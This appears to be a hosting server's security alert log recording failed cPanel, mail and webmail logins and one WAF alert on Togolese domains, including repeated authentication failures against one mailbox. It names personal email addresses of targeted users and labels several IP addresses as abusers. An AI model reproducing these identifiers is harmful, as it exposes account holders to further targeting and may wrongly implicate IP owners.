[2026-06-06 10:39:24 +0000] info [cpaneld] 18.224.139.173 - prince "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user prince (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:39:49 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:9216: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:40:48 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:1152: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:41:59 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:2305: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.189.123.32
country_id: 337996
domain: togomedia24.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togomedia24.tg/2026/06/03/lome-prochaine-destination-de-president-beninois-romuald-wadagni/ HTTP/1.1||RSV:8.14||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-06 10:42:01 +0000] info [webmaild] 196.171.46.177 - desire.ayivi@togointerim.net "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.167
country_id: 2287781
description:
2026-06-06 10:43:09 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.167]:2306: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


